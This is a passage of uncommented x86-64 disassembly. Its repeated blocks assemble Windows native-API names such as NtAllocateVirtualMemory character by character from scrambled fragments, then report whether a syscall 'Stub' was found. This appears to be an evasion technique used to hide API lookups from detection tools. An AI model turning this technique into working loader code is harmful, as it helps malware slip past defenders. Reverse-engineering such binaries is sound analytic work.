mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3cf0]
mov rcx, qword [rbp + 0x5320]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x406f5c
lea rbx, [0x0050b58b]
jmp 0x406f63
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x3f1f]
lea rax, [rbp + 0x3ef0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x0050b5cb]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3e30]
lea rdx, [rbp + 0x3e50]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3e10]
lea rdx, [rbp + 0x3e30]
lea r8, [0x0050b571]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3df0]
lea rdx, [rbp + 0x3e10]
lea r8, [0x0050b5d1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3dd0]
lea rdx, [rbp + 0x3df0]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3db0]
lea rdx, [rbp + 0x3dd0]
lea r8, [0x0050b5af]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3d90]
lea rdx, [rbp + 0x3db0]
lea r8, [0x0050b5b1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3d70]
lea rdx, [rbp + 0x3d90]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3d50]
lea rdx, [rbp + 0x3d70]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3d30]
lea rdx, [rbp + 0x3d50]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3d10]
lea rdx, [rbp + 0x3d30]
lea r8, [0x0050b5b3]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x3d10]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x3d10]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3d30]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3d50]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3d70]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3d90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3db0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3dd0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3df0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3e10]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3f20]
mov rcx, qword [rbp + 0x5318]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x4072f4
lea rbx, [0x0050b58b]
jmp 0x4072fb
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x41af]
lea rax, [rbp + 0x4180]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x0050b571]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x40c0]
lea rdx, [rbp + 0x40e0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x40a0]
lea rdx, [rbp + 0x40c0]
lea r8, [0x0050b5b9]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4080]
lea rdx, [rbp + 0x40a0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4060]
lea rdx, [rbp + 0x4080]
lea r8, [0x0050b5bb]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4040]
lea rdx, [rbp + 0x4060]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4020]
lea rdx, [rbp + 0x4040]
lea r8, [0x0050b587]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4000]
lea rdx, [rbp + 0x4020]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3fe0]
lea rdx, [rbp + 0x4000]
lea r8, [0x0050b5af]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3fc0]
lea rdx, [rbp + 0x3fe0]
lea r8, [0x0050b5b1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3fa0]
lea rdx, [rbp + 0x3fc0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3f80]
lea rdx, [rbp + 0x3fa0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3f60]
lea rdx, [rbp + 0x3f80]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3f40]
lea rdx, [rbp + 0x3f60]
lea r8, [0x0050b5b3]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x3f40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x3f40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3f60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3f80]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3fa0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3fc0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3fe0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4000]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4020]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4040]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4060]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4080]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x40a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x41b0]
mov rcx, qword [rbp + 0x5310]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x407710
lea rbx, [0x0050b58b]
jmp 0x407717
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x441f]
lea rax, [rbp + 0x43f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x43d0]
lea rdx, [rbp + 0x43f0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x43b0]
lea rdx, [rbp + 0x43d0]
lea r8, [0x0050b5d3]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4390]
lea rdx, [rbp + 0x43b0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4370]
lea rdx, [rbp + 0x4390]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x0050b5ad]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x0050b5b7]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4270]
lea rdx, [rbp + 0x4290]
lea r8, [0x0050b5af]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x0050b5b1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x41f0]
lea rdx, [rbp + 0x4210]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x41d0]
lea rdx, [rbp + 0x41f0]
lea r8, [0x0050b5b3]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x41d0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4390]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x43b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x43d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x43f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4420]
mov rcx, qword [rbp + 0x5308]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x407b00
lea rbx, [0x0050b58b]
jmp 0x407b07
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x468f]
lea rax, [rbp + 0x4660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4640]
lea rdx, [rbp + 0x4660]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4620]
lea rdx, [rbp + 0x4640]
lea r8, [0x0050b5bf]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4600]
lea rdx, [rbp + 0x4620]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x45e0]
lea rdx, [rbp + 0x4600]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x45c0]
lea rdx, [rbp + 0x45e0]
lea r8, [0x0050b5ad]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x45a0]
lea rdx, [rbp + 0x45c0]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x0050b5b7]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x0050b5af]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x0050b5b1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x0050b5b3]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x4440]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x45c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x45e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4600]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4620]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4640]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4660]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4690]
mov rcx, qword [rbp + 0x5300]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x407ef0
lea rbx, [0x0050b58b]
jmp 0x407ef7
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x48bf]
lea rax, [rbp + 0x4890]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4870]
lea rdx, [rbp + 0x4890]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4850]
lea rdx, [rbp + 0x4870]
lea r8, [0x0050b5d5]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4830]
lea rdx, [rbp + 0x4850]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x0050b589]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x0050b5b5]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x0050b5b7]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x46b0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4850]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4870]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4890]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x48c0]
mov rcx, qword [rbp + 0x52f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x408288
lea rbx, [0x0050b58b]
jmp 0x40828f
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x4a8f]
lea rax, [rbp + 0x4a60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x0050b5c5]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x0050b5d1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x0050b5bf]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4940]
lea rdx, [rbp + 0x4960]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x48e0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x49e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4a90]
mov rcx, qword [rbp + 0x52f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
